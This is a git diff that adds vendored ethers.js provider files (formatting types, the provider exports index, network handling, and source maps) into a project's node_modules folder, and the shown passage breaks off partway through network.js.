transactionIndex: allowNull(getNumber, null), + from: getAddress, + // either (gasPrice) or (maxPriorityFeePerGas + maxFeePerGas) must be set + gasPrice: allowNull(getBigInt), + maxPriorityFeePerGas: allowNull(getBigInt), + maxFeePerGas: allowNull(getBigInt), + maxFeePerBlobGas: allowNull(getBigInt, null), + gasLimit: getBigInt, + to: allowNull(getAddress, null), + value: getBigInt, + nonce: getNumber, + data: formatData, + creates: allowNull(getAddress, null), + chainId: allowNull(getBigInt, null) + }, { + data: ["input"], + gasLimit: ["gas"], + index: ["transactionIndex"] + })(value); + // If to and creates are empty, populate the creates from the value + if (result.to == null && result.creates == null) { + result.creates = getCreateAddress(result); + } + // @TODO: Check fee data + // Add an access list to supported transaction types + if ((value.type === 1 || value.type === 2) && value.accessList == null) { + result.accessList = []; + } + // Compute the signature + if (value.signature) { + result.signature = Signature.from(value.signature); + } + else { + result.signature = Signature.from(value); + } + // Some backends omit ChainId on legacy transactions, but we can compute it + if (result.chainId == null) { + const chainId = result.signature.legacyChainId; + if (chainId != null) { + result.chainId = chainId; + } + } + // @TODO: check chainID + /* + if (value.chainId != null) { + let chainId = value.chainId; + + if (isHexString(chainId)) { + chainId = BigNumber.from(chainId).toNumber(); + } + + result.chainId = chainId; + + } else { + let chainId = value.networkId; + + // geth-etc returns chainId + if (chainId == null && result.v == null) { + chainId = value.chainId; + } + + if (isHexString(chainId)) { + chainId = BigNumber.from(chainId).toNumber(); + } + + if (typeof(chainId) !== "number" && result.v != null) { + chainId = (result.v - 35) / 2; + if (chainId < 0) { chainId = 0; } + chainId = parseInt(chainId); + } + + if (typeof(chainId) !== "number") { chainId = 0; } + + result.chainId = chainId; + } + */ + // 0x0000... should actually be null + if (result.blockHash && getBigInt(result.blockHash) === BN_0) { + result.blockHash = null; + } + return result; +} +//# sourceMappingURL=format.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/format.js.map b/node_modules/ethers/lib.esm/providers/format.js.map new file mode 100644 index 000000000000..2a17b832e782 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/format.js.map @@ -0,0 +1 @@ +{"version":3,"file":"format.js","sourceRoot":"","sources":["../../src.ts/providers/format.ts"],"names":[],"mappings":"AAAA;;GAEG;AACH,OAAO,EAAE,UAAU,EAAE,gBAAgB,EAAE,MAAM,qBAAqB,CAAC;AACnE,OAAO,EAAE,SAAS,EAAE,MAAM,oBAAoB,CAAA;AAC9C,OAAO,EAAE,aAAa,EAAE,MAAM,yBAAyB,CAAC;AACxD,OAAO,EACH,SAAS,EAAE,SAAS,EAAE,OAAO,EAAE,WAAW,EAAE,YAAY,EACxD,MAAM,EAAE,cAAc,EACzB,MAAM,mBAAmB,CAAC;AAS3B,MAAM,IAAI,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC;AAIvB,MAAM,UAAU,SAAS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O,GAAG,OAAO,CAAC;SAAE;KACrD;IAGD,uBAAuB;IACvB;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;MAgCE;IAEF,oCAAoC;IACpC,IAAI,MAAM,CAAC,SAAS,IAAI,SAAS,CAAC,MAAM,CAAC,SAAS,CAAC,KAAK,IAAI,EAAE;QAC1D,MAAM,CAAC,SAAS,GAAG,IAAI,CAAC;KAC3B;IAED,OAAO,MAAM,CAAC;AAClB,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/formatting.d.ts b/node_modules/ethers/lib.esm/providers/formatting.d.ts new file mode 100644 index 000000000000..a44a3b34ca0a --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/formatting.d.ts @@ -0,0 +1,318 @@ +/** + * About provider formatting? + * + * @_section: api/providers/formatting:Formatting [provider-formatting] + */ +import type { Signature } from "../crypto/index.js"; +import type { Authorization, AccessList } from "../transaction/index.js"; +/** + * a **BlockParams** encodes the minimal required properties for a + * formatted block. + */ +export interface BlockParams { + /** + * The block hash. + */ + hash?: null | string; + /** + * The block number. + */ + number: number; + /** + * The timestamp for this block, which is the number of seconds + * since epoch that this block was included. + */ + timestamp: number; + /** + * The hash of the previous block in the blockchain. The genesis block + * has the parentHash of the [[ZeroHash]]. + */ + parentHash: string; + /** + * The hash tree root of the parent beacon block for the given + * execution block. See [[link-eip-4788]]. + */ + parentBeaconBlockRoot?: null | string; + /** + * A random sequence provided during the mining process for + * proof-of-work networks. + */ + nonce: string; + /** + * For proof-of-work networks, the difficulty target is used to + * adjust the difficulty in mining to ensure an expected block rate. + */ + difficulty: bigint; + /** + * The maximum amount of gas a block can consume. + */ + gasLimit: bigint; + /** + * The amount of gas a block consumed. + */ + gasUsed: bigint; + /** + * The total amount of BLOb gas consumed by transactions within + * the block. See [[link-eip4844]. + */ + blobGasUsed?: null | bigint; + /** + * The running total of BLOb gas consumed in excess of the target + * prior to the block. See [[link-eip-4844]]. + */ + excessBlobGas?: null | bigint; + /** + * The miner (or author) of a block. + */ + miner: string; + /** + * The latest RANDAO mix of the post beacon state of + * the previous block. + */ + prevRandao?: null | string; + /** + * Additional data the miner choose to include. + */ + extraData: string; + /** + * The protocol-defined base fee per gas in an [[link-eip-1559]] + * block. + */ + baseFeePerGas: null | bigint; + /** + * The root hash for the global state after applying changes + * in this block. + */ + stateRoot?: null | string; + /** + * The hash of the transaction receipts trie. + */ + receiptsRoot?: null | string; + /** + * The list of transactions in the block. + */ + transactions: ReadonlyArray; +} +/** + * a **LogParams** encodes the minimal required properties for a + * formatted log. + */ +export interface LogParams { + /** + * The transaction hash for the transaxction the log occurred in. + */ + transactionHash: string; + /** + * The block hash of the block that included the transaction for this + * log. + */ + blockHash: string; + /** + * The block number of the block that included the transaction for this + * log. + */ + blockNumber: number; + /** + * Whether this log was removed due to the transaction it was included + * in being removed dur to an orphaned block. + */ + removed: boolean; + /** + * The address of the contract that emitted this log. + */ + address: string; + /** + * The data emitted with this log. + */ + data: string; + /** + * The topics emitted with this log. + */ + topics: ReadonlyArray; + /** + * The index of this log. + */ + index: number; + /** + * The transaction index of this log. + */ + transactionIndex: number; +} +/** + * a **TransactionReceiptParams** encodes the minimal required properties + * for a formatted transaction receipt. + */ +export interface TransactionReceiptParams { + /** + * The target of the transaction. If null, the transaction was trying + * to deploy a transaction with the ``data`` as the initi=code. + */ + to: null | string; + /** + * The sender of the transaction. + */ + from: string; + /** + * If the transaction was directly deploying a contract, the [[to]] + * will be null, the ``data`` will be initcode and if successful, this + * will be the address of the contract deployed. + */ + contractAddress: null | string; + /** + * The transaction hash. + */ + hash: string; + /** + * The transaction index. + */ + index: number; + /** + * The block hash of the block that included this transaction. + */ + blockHash: string; + /** + * The block number of the block that included this transaction. + */ + blockNumber: number; + /** + * The bloom filter for the logs emitted during execution of this + * transaction. + */ + logsBloom: string; + /** + * The logs emitted during the execution of this transaction. + */ + logs: ReadonlyArray; + /** + * The amount of gas consumed executing this transaciton. + */ + gasUsed: bigint; + /** + * The amount of BLOb gas used. See [[link-eip-4844]]. + */ + blobGasUsed?: null | bigint; + /** + * The total amount of gas consumed during the entire block up to + * and including this transaction. + */ + cumulativeGasUsed: bigint; + /** + * The actual gas price per gas charged for this transaction. + */ + gasPrice?: null | bigint; + /** + * The actual BLOb gas price that was charged. See [[link-eip-4844]]. + */ + blobGasPrice?: null | bigint; + /** + * The actual gas price per gas charged for this transaction. + */ + effectiveGasPrice?: null | bigint; + /** + * The [[link-eip-2718]] envelope type. + */ + type: number; + /** + * The status of the transaction execution. If ``1`` then the + * the transaction returned success, if ``0`` then the transaction + * was reverted. For pre-byzantium blocks, this is usually null, but + * some nodes may have backfilled this data. + */ + status: null | number; + /** + * The root of this transaction in a pre-bazatium block. In + * post-byzantium blocks this is null. + */ + root: null | string; +} +/** + * a **TransactionResponseParams** encodes the minimal required properties + * for a formatted transaction response. + */ +export interface TransactionResponseParams { + /** + * The block number of the block that included this transaction. + */ + blockNumber: null | number; + /** + * The block hash of the block that included this transaction. + */ + blockHash: null | string; + /** + * The transaction hash. + */ + hash: string; + /** + * The transaction index. + */ + index: number; + /** + * The [[link-eip-2718]] transaction type. + */ + type: number; + /** + * The target of the transaction. If ``null``, the ``data`` is initcode + * and this transaction is a deployment transaction. + */ + to: null | string; + /** + * The sender of the transaction. + */ + from: string; + /** + * The nonce of the transaction, used for replay protection. + */ + nonce: number; + /** + * The maximum amount of gas this transaction is authorized to consume. + */ + gasLimit: bigint; + /** + * For legacy transactions, this is the gas price per gas to pay. + */ + gasPrice: bigint; + /** + * For [[link-eip-1559]] transactions, this is the maximum priority + * fee to allow a producer to claim. + */ + maxPriorityFeePerGas: null | bigint; + /** + * For [[link-eip-1559]] transactions, this is the maximum fee that + * will be paid. + */ + maxFeePerGas: null | bigint; + /** + * For [[link-eip-4844]] transactions, this is the maximum fee that + * will be paid per BLOb. + */ + maxFeePerBlobGas?: null | bigint; + /** + * The transaction data. + */ + data: string; + /** + * The transaction value (in wei). + */ + value: bigint; + /** + * The chain ID this transaction is valid on. + */ + chainId: bigint; + /** + * The signature of the transaction. + */ + signature: Signature; + /** + * The transaction access list. + */ + accessList: null | AccessList; + /** + * The [[link-eip-4844]] BLOb versioned hashes. + */ + blobVersionedHashes?: null | Array; + /** + * The [[link-eip-7702]] authorizations (if any). + */ + authorizationList: null | Array; +} +//# sourceMappingURL=formatting.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/formatting.d.ts.map b/node_modules/ethers/lib.esm/providers/formatting.d.ts.map new file mode 100644 index 000000000000..a28257d003e0 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/formatting.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"formatting.d.ts","sourceRoot":"","sources":["../../src.ts/providers/formatting.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AAEH,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,oBAAoB,CAAC;AACpD,OAAO,KAAK,EAAE,aAAa,EAAE,UAAU,EAAE,MAAM,yBAAyB,CAAC;AAMzE;;;GAGG;AACH,MAAM,WAAW,WAAW;IACxB;;OAEG;IACH,IAAI,CAAC,EAAE,IAAI,GAAG,MAAM,CAAC;IAErB;;OAEG;IACH,MAAM,EAAE,MAAM,CAAC;IAEf;;;OAGG;IACH,SAAS,EAAE,MAAM,CAAC;IAElB;;;OAGG;IACH,UAAU,EAAE,MAAM,CAAC;IAEnB;;;OAGG;IACH,qBAAqB,CAAC,EAAE,IAAI,GAAG,MAAM,CAAC;IAEtC;;;OAGG;IACH,KAAK,EAAE,MAAM,CAAC;IAEd;;;OAGG;IACH,UAAU,EAAE,MAAM,CAAC;IAEnB;;OAEG;IACH,QAAQ,EAAE,MAAM,CAAC;IAEjB;;OAEG;IACH,OAAO,EAAE,MAAM,CAAC;IAEhB;;;OAGG;IACH,WAAW,CAAC,EAAE,IAAI,GAAG,MAAM,CAAC;IAE5B;;;OAGG;IACH,aAAa,CAAC,EAAE,IAAI,GAAG,MAAM,CAAC;IAE9B;;OAEG;IACH,KAAK,EAAE,MAAM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GAAG,MAAM,CAAC;IAEjC;;OAEG;IACH,IAAI,EAAE,MAAM,CAAC;IAEb;;OAEG;IACH,KAAK,EAAE,MAAM,CAAC;IAEd;;OAEG;IACH,OAAO,EAAE,MAAM,CAAC;IAEhB;;OAEG;IACH,SAAS,EAAE,SAAS,CAAC;IAErB;;OAEG;IACH,UAAU,EAAE,IAAI,GAAG,UAAU,CAAC;IAE9B;;OAEG;IACH,mBAAmB,CAAC,EAAE,IAAI,GAAG,KAAK,CAAC,MAAM,CAAC,CAAC;IAE3C;;OAEG;IACH,iBAAiB,EAAE,IAAI,GAAG,KAAK,CAAC,aAAa,CAAC,CAAC;CAClD"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/formatting.js b/node_modules/ethers/lib.esm/providers/formatting.js new file mode 100644 index 000000000000..5c662d205d3a --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/formatting.js @@ -0,0 +1,9 @@ +/** + * About provider formatting? + * + * @_section: api/providers/formatting:Formatting [provider-formatting] + */ +; +; +export {}; +//# sourceMappingURL=formatting.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/formatting.js.map b/node_modules/ethers/lib.esm/providers/formatting.js.map new file mode 100644 index 000000000000..571e1c6be009 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/formatting.js.map @@ -0,0 +1 @@ +{"version":3,"file":"formatting.js","sourceRoot":"","sources":["../../src.ts/providers/formatting.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AAiHF,CAAC;AA0SD,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/index.d.ts b/node_modules/ethers/lib.esm/providers/index.d.ts new file mode 100644 index 000000000000..172c487a1d8f --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/index.d.ts @@ -0,0 +1,50 @@ +/** + * A **Provider** provides a connection to the blockchain, whch can be + * used to query its current state, simulate execution and send transactions + * to update the state. + * + * It is one of the most fundamental components of interacting with a + * blockchain application, and there are many ways to connect, such as over + * HTTP, WebSockets or injected providers such as [MetaMask](link-metamask). + * + * @_section: api/providers:Providers [about-providers] + */ +export { AbstractProvider, UnmanagedSubscriber } from "./abstract-provider.js"; +export { AbstractSigner, VoidSigner, } from "./abstract-signer.js"; +export { showThrottleMessage } from "./community.js"; +export { getDefaultProvider } from "./default-provider.js"; +export { EnsResolver, MulticoinProviderPlugin } from "./ens-resolver.js"; +export { Network } from "./network.js"; +export { NonceManager } from "./signer-noncemanager.js"; +export { NetworkPlugin, GasCostPlugin, EnsPlugin, FeeDataNetworkPlugin, FetchUrlFeeDataNetworkPlugin, } from "./plugins-network.js"; +export { Block, FeeData, Log, TransactionReceipt, TransactionResponse, copyRequest, } from "./provider.js"; +export { FallbackProvider } from "./provider-fallback.js"; +export { JsonRpcApiProvider, JsonRpcProvider, JsonRpcSigner } from "./provider-jsonrpc.js"; +export { BrowserProvider } from "./provider-browser.js"; +export { AlchemyProvider } from "./provider-alchemy.js"; +export { BlockscoutProvider } from "./provider-blockscout.js"; +export { AnkrProvider } from "./provider-ankr.js"; +export { CloudflareProvider } from "./provider-cloudflare.js"; +export { ChainstackProvider } from "./provider-chainstack.js"; +export { EtherscanProvider, EtherscanPlugin } from "./provider-etherscan.js"; +export { InfuraProvider, InfuraWebSocketProvider } from "./provider-infura.js"; +export { PocketProvider } from "./provider-pocket.js"; +export { QuickNodeProvider } from "./provider-quicknode.js"; +import { IpcSocketProvider } from "./provider-ipcsocket.js"; +export { IpcSocketProvider }; +export { SocketProvider } from "./provider-socket.js"; +export { WebSocketProvider } from "./provider-websocket.js"; +export { SocketSubscriber, SocketBlockSubscriber, SocketPendingSubscriber, SocketEventSubscriber } from "./provider-socket.js"; +export type { AbstractProviderOptions, Subscription, Subscriber, AbstractProviderPlugin, PerformActionFilter, PerformActionTransaction, PerformActionRequest, } from "./abstract-provider.js"; +export type { ContractRunner } from "./contracts.js"; +export type { BlockParams, LogParams, TransactionReceiptParams, TransactionResponseParams, } from "./formatting.js"; +export type { CommunityResourcable } from "./community.js"; +export type { Networkish } from "./network.js"; +export type { GasCostParameters } from "./plugins-network.js"; +export type { BlockTag, TransactionRequest, PreparedTransactionRequest, EventFilter, Filter, FilterByBlockHash, OrphanFilter, ProviderEvent, TopicFilter, Provider, MinedBlock, MinedTransactionResponse } from "./provider.js"; +export type { BrowserDiscoverOptions, BrowserProviderOptions, DebugEventBrowserProvider, Eip1193Provider, Eip6963ProviderInfo } from "./provider-browser.js"; +export type { FallbackProviderOptions } from "./provider-fallback.js"; +export type { JsonRpcPayload, JsonRpcResult, JsonRpcError, JsonRpcApiProviderOptions, JsonRpcTransactionRequest, } from "./provider-jsonrpc.js"; +export type { WebSocketCreator, WebSocketLike } from "./provider-websocket.js"; +export type { Signer } from "./signer.js"; +//# sourceMappingURL=index.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/index.d.ts.map b/node_modules/ethers/lib.esm/providers/index.d.ts.map new file mode 100644 index 000000000000..2d26abd94918 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/index.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src.ts/providers/index.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;GAUG;AAGH,OAAO,EACH,gBAAgB,EAAE,mBAAmB,EACxC,MAAM,wBAAwB,CAAC;AAEhC,OAAO,EACH,cAAc,EACd,UAAU,GACb,MAAM,sBAAsB,CAAC;AAE9B,OAAO,EACH,mBAAmB,EACtB,MAAM,gBAAgB,CAAC;AAExB,OAAO,EAAE,kBAAkB,EAAE,MAAM,uBAAuB,CAAC;AAE3D,OAAO,EACH,WAAW,EACX,uBAAuB,EAC1B,MAAM,mBAAmB,CAAC;AAE3B,OAAO,EAAE,OAAO,EAAE,MAAM,cAAc,CAAC;AAEvC,OAAO,EAAE,YAAY,EAAE,MAAM,0BAA0B,CAAC;AAExD,OAAO,EACH,aAAa,EACb,aAAa,EACb,SAAS,EACT,oBAAoB,EACpB,4BAA4B,GAC/B,MAAM,s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AAA;AAE/B,YAAY,EAAE,cAAc,EAAE,MAAM,gBAAgB,CAAC;AAErD,YAAY,EACR,WAAW,EAAE,SAAS,EAAE,wBAAwB,EAChD,yBAAyB,GAC5B,MAAM,iBAAiB,CAAC;AAEzB,YAAY,EACR,oBAAoB,EACvB,MAAM,gBAAgB,CAAC;AAOxB,YAAY,EAAE,UAAU,EAAE,MAAM,cAAc,CAAC;AAE/C,YAAY,EAAE,iBAAiB,EAAE,MAAM,sBAAsB,CAAC;AAE9D,YAAY,EACR,QAAQ,EACR,kBAAkB,EAAE,0BAA0B,EAC9C,WAAW,EAAE,MAAM,EAAE,iBAAiB,EAAE,YAAY,EAAE,aAAa,EACnE,WAAW,EACX,QAAQ,EACR,UAAU,EAAE,wBAAwB,EACvC,MAAM,eAAe,CAAC;AAEvB,YAAY,EACR,sBAAsB,EAAE,sBAAsB,EAAE,yBAAyB,EACzE,eAAe,EAAE,mBAAmB,EACvC,MAAM,uBAAuB,CAAC;AAE/B,YAAY,EAAE,uBAAuB,EAAE,MAAM,wBAAwB,CAAC;AAEtE,YAAY,EACR,cAAc,EAAE,aAAa,EAAE,YAAY,EAC3C,yBAAyB,EACzB,yBAAyB,GAC5B,MAAM,uBAAuB,CAAC;AAE/B,YAAY,EACR,gBAAgB,EAAE,aAAa,EAClC,MAAM,yBAAyB,CAAC;AAEjC,YAAY,EAAE,MAAM,EAAE,MAAM,aAAa,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/index.js b/node_modules/ethers/lib.esm/providers/index.js new file mode 100644 index 000000000000..e118c332f383 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/index.js @@ -0,0 +1,40 @@ +/** + * A **Provider** provides a connection to the blockchain, whch can be + * used to query its current state, simulate execution and send transactions + * to update the state. + * + * It is one of the most fundamental components of interacting with a + * blockchain application, and there are many ways to connect, such as over + * HTTP, WebSockets or injected providers such as [MetaMask](link-metamask). + * + * @_section: api/providers:Providers [about-providers] + */ +export { AbstractProvider, UnmanagedSubscriber } from "./abstract-provider.js"; +export { AbstractSigner, VoidSigner, } from "./abstract-signer.js"; +export { showThrottleMessage } from "./community.js"; +export { getDefaultProvider } from "./default-provider.js"; +export { EnsResolver, MulticoinProviderPlugin } from "./ens-resolver.js"; +export { Network } from "./network.js"; +export { NonceManager } from "./signer-noncemanager.js"; +export { NetworkPlugin, GasCostPlugin, EnsPlugin, FeeDataNetworkPlugin, FetchUrlFeeDataNetworkPlugin, } from "./plugins-network.js"; +export { Block, FeeData, Log, TransactionReceipt, TransactionResponse, copyRequest, +//resolveTransactionRequest, + } from "./provider.js"; +export { FallbackProvider } from "./provider-fallback.js"; +export { JsonRpcApiProvider, JsonRpcProvider, JsonRpcSigner } from "./provider-jsonrpc.js"; +export { BrowserProvider } from "./provider-browser.js"; +export { AlchemyProvider } from "./provider-alchemy.js"; +export { BlockscoutProvider } from "./provider-blockscout.js"; +export { AnkrProvider } from "./provider-ankr.js"; +export { CloudflareProvider } from "./provider-cloudflare.js"; +export { ChainstackProvider } from "./provider-chainstack.js"; +export { EtherscanProvider, EtherscanPlugin } from "./provider-etherscan.js"; +export { InfuraProvider, InfuraWebSocketProvider } from "./provider-infura.js"; +export { PocketProvider } from "./provider-pocket.js"; +export { QuickNodeProvider } from "./provider-quicknode.js"; +import { IpcSocketProvider } from "./provider-ipcsocket.js"; /*-browser*/ +export { IpcSocketProvider }; +export { SocketProvider } from "./provider-socket.js"; +export { WebSocketProvider } from "./provider-websocket.js"; +export { SocketSubscriber, SocketBlockSubscriber, SocketPendingSubscriber, SocketEventSubscriber } from "./provider-socket.js"; +//# sourceMappingURL=index.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/index.js.map b/node_modules/ethers/lib.esm/providers/index.js.map new file mode 100644 index 000000000000..36b5c463292c --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/index.js.map @@ -0,0 +1 @@ +{"version":3,"file":"index.js","sourceRoot":"","sources":["../../src.ts/providers/index.ts"],"names":[],"mappings":"A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AAO,EAAE,cAAc,EAAE,MAAM,sBAAsB,CAAC;AACtD,OAAO,EAAE,iBAAiB,EAAE,MAAM,yBAAyB,CAAC;AAE5D,OAAO,EAAE,iBAAiB,EAAE,MAAM,yBAAyB,CAAC,CAAC,YAAY;AACzE,OAAO,EAAE,iBAAiB,EAAE,CAAC;AAC7B,OAAO,EAAE,cAAc,EAAE,MAAM,sBAAsB,CAAC;AACtD,OAAO,EAAE,iBAAiB,EAAE,MAAM,yBAAyB,CAAC;AAE5D,OAAO,EACH,gBAAgB,EAAE,qBAAqB,EAAE,uBAAuB,EAChE,qBAAqB,EACxB,MAAM,sBAAsB,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/network.d.ts b/node_modules/ethers/lib.esm/providers/network.d.ts new file mode 100644 index 000000000000..2355df4423e4 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/network.d.ts @@ -0,0 +1,99 @@ +/** + * A **Network** encapsulates the various properties required to + * interact with a specific chain. + * + * @_subsection: api/providers:Networks [networks] + */ +import type { BigNumberish } from "../utils/index.js"; +import type { TransactionLike } from "../transaction/index.js"; +import type { NetworkPlugin } from "./plugins-network.js"; +/** + * A Networkish can be used to allude to a Network, by specifing: + * - a [[Network]] object + * - a well-known (or registered) network name + * - a well-known (or registered) chain ID + * - an object with sufficient details to describe a network + */ +export type Networkish = Network | number | bigint | string | { + name?: string; + chainId?: number; + ensAddress?: string; + ensNetwork?: number; +}; +/** + * A **Network** provides access to a chain's properties and allows + * for plug-ins to extend functionality. + */ +export declare class Network { + #private; + /** + * Creates a new **Network** for %%name%% and %%chainId%%. + */ + constructor(name: string, chainId: BigNumberish); + /** + * Returns a JSON-compatible representation of a Network. + */ + toJSON(): any; + /** + * The network common name. + * + * This is the canonical name, as networks migh have multiple + * names. + */ + get name(): string; + set name(value: string); + /** + * The network chain ID. + */ + get chainId(): bigint; + set chainId(value: BigNumberish); + /** + * Returns true if %%other%% matches this network. Any chain ID + * must match, and if no chain ID is present, the name must match. + * + * This method does not currently check for additional properties, + * such as ENS address or plug-in compatibility. + */ + matches(other: Networkish): boolean; + /** + * Returns the list of plugins currently attached to this Network. + */ + get plugins(): Array; + /** + * Attach a new %%plugin%% to this Network. The network name + * must be unique, excluding any fragment. + */ + attachPlugin(plugin: NetworkPlugin): this; + /** + * Return the plugin, if any, matching %%name%% exactly. Plugins + * with fragments will not be returned unless %%name%% includes + * a fragment. + */ + getPlugin(name: string): null | T; + /** + * Gets a list of all plugins that match %%name%%, with otr without + * a fragment. + */ + getPlugins(basename: string): Array; + /** + * Create a copy of this Network. + */ + clone(): Network; + /** + * Compute the intrinsic gas required for a transaction. + * + * A GasCostPlugin can be attached to override the default + * values. + */ + computeIntrinsicGas(tx: TransactionLike): number; + /** + * Returns a new Network for the %%network%% name or chainId. + */ + static from(network?: Networkish): Network; + /** + * Register %%nameOrChainId%% with a function which returns + * an instance of a Network representing that chain. + */ + static register(nameOrChainId: string | number | bigint, networkFunc: () => Network): void; +} +//# sourceMappingURL=network.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/network.d.ts.map b/node_modules/ethers/lib.esm/providers/network.d.ts.map new file mode 100644 index 000000000000..b849aebb28fa --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/network.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"network.d.ts","sourceRoot":"","sources":["../../src.ts/providers/network.ts"],"names":[],"mappings":"AAAA;;;;;GAKG;AASH,OAAO,KAAK,EAAE,YAAY,EAAE,MAAM,mBAAmB,CAAC;AACtD,OAAO,KAAK,EAAE,eAAe,EAAE,MAAM,yBAAyB,CAAC;AAE/D,OAAO,KAAK,EAAE,aAAa,EAAE,MAAM,sBAAsB,CAAC;AAG1D;;;;;;GAMG;AACH,MAAM,MAAM,UAAU,GAAG,OAAO,GAAG,MAAM,GAAG,MAAM,GAAG,MAAM,GAAG;IAC1D,IAAI,CAAC,EAAE,MAAM,CAAC;IACd,OAAO,CAAC,EAAE,MAAM,CAAC;IA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esm/providers/network.js new file mode 100644 index 000000000000..0de43c60b77d --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/network.js @@ -0,0 +1,363 @@ +/** + * A **Network** encapsulates the various properties required to + * interact with a specific chain. + * + * @_subsection: api/providers:Networks [networks] + */ +import { accessListify } from "../transaction/index.js"; +import { getBigInt, assert, assertArgument } from "../utils/index.js"; +import { EnsPlugin, FetchUrlFeeDataNetworkPlugin, GasCostPlugin } from "./plugins-network.js"; +/* * * * +// Networks which operation against an L2 can use this plugin to +// specify how to access L1, for the purpose of resolving ENS, +// for example. +export class LayerOneConnectionPlugin extends NetworkPlugin { + readonly provider!: Provider; +// @TODO: Rename to ChainAccess and allow for connecting to any chain + constructor(provider: Provider) { + super("org.ethers.plugins.layer-one-connection"); + defineProperties(this, { provider }); + } + + clone(): LayerOneConnectionPlugin { + return new LayerOneConnectionPlugin(this.provider); + } +} +*/ +const Networks = new Map(); +/** + * A **Network** provides access to a chain's properties and allows + * for plug-ins to extend functionality. + */ +export class Network { + #name; + #chainId; + #plugins; + /** + * Creates a new **Network** for %%name%% and %%chainId%%. + */ + constructor(name, chainId) { + this.#name = name; + this.#chainId = getBigInt(chainId); + this.#plugins = new Map(); + } + /** + * Returns a JSON-compatible representation of a Network. + */ + toJSON() { + return { name: this.name, chainId: String(this.chainId) }; + } + /** + * The network common name. + * + * This is the canonical name, as networks migh have multiple + * names. + */ + get name() { return this.#name; } + set name(value) { this.#name = value; } + /** + * The network chain ID. + */ + get chainId() { return this.#chainId; } + set chainId(value) { this.#chainId = getBigInt(value, "chainId"); } + /** + * Returns true if %%other%% matches this network. Any chain ID + * must match, and if no chain ID is present, the name must match. + * + * This method does not currently check for additional properties, + * such as ENS address or plug-in compatibility. + */ + matches(other) { + if (other == null) { + return false; + } + if (typeof (other) === "string") { + try { + return (this.chainId === getBigInt(other)); + } + catch (error) { } + return (this.name === other); + } + if (typeof (other) === "number" || typeof (other) === "bigint") { + try { + return (this.chainId === getBigInt(other)); + } + catch (error) { } + return false; + } + if (typeof (other) === "object") { + if (other.chainId != null) { + try { + return (this.chainId === getBigInt(other.chainId)); + } + catch (error) { } + return false; + } + if (other.name != null) { + return (this.name === other.name); + } + return false; + } + return false; + } + /** + * Returns the list of plugins currently attached to this Network. + */ + get plugins() { + return Array.from(this.#plugins.values()); + } + /** + * Attach a new %%plugin%% to this Network. The network name + * must be unique, excluding any fragment. + */ + attachPlugin(plugin) { + if (this.#plugins.get(plugin.name)) { + throw new Error(`cannot replace existing plugin: ${plugin.name} `); + } + this.#plugins.set(plugin.name, plugin.clone()); + return this; + } + /** + * Return the plugin, if any, matching %%name%% exactly. Plugins + * with fragments will not be returned unless %%name%% includes + * a fragment. + */ + getPlugin(name) { + return (this.#plugins.get(name)) || null; + } + /** + * Gets a list of all plugins that match %%name%%, with otr without + * a fragment. + */ + getPlugins(basename) { + return (this.plugins.filter((p) => (p.name.split("#")[0] === basename))); + } + /** + * Create a copy of this Network. + */ + clone() { + const clone = new Network(this.name, this.chainId); + this.plugins.forEach((plugin) => { + clone.attachPlugin(plugin.clone()); + }); + return clone; + } + /** + * Compute the intrinsic gas required for a transaction. + * + * A GasCostPlugin can be attached to override the default + * values. + */ + computeIntrinsicGas(tx) { + const costs = this.getPlugin("org.ethers.plugins.network.GasCost") || (new GasCostPlugin()); + let gas = costs.txBase; + if (tx.to == null) { + gas += costs.txCreate; + } + if (tx.data) { + for (let i = 2; i < tx.data.length; i += 2) { + if (tx.data.substring(i, i + 2) === "00") { + gas += costs.txDataZero; + } + else { + gas += costs.txDataNonzero; + } + } + } + if (tx.accessList) { + const accessList = accessListify(tx.accessList); + for (const addr in accessList) { + gas += costs.txAccessListAddress + costs.txAccessListStorageKey * accessList[addr].storageKeys.length; + } + } + return gas; + } + /** + * Returns a new Network for the %%network%% name or chainId. + */ + static from(network) { + injectCommonNetworks(); + // Default network + if (network == null) { + return Network.from("mainnet"); + } + // Canonical name or chain ID + if (typeof (network) === "number") { + network = BigInt(network); + } + if (typeof (network) === "string" || typeof (network) === "bigint") { + const networkFunc = Networks.get(network); + if (networkFunc) { + return networkFunc(); + } + if (typeof (network) === "bigint") { + return new Network("unknown", network); + } + assertArgument(false, "unknown network", "network", network); + } + // Clonable with network-like abilities + if (typeof (network.clone) === "function") { + const clone = network.clone(); + //if (typeof(network.name) !== "string" || typeof(network.chainId) !== "number") { + //} + return clone; + } + // Networkish + if (typeof (network) === "object") { + assertArgument(typeof (network.name) === "string" && typeof (network.chainId) === "number", "invalid network object name or 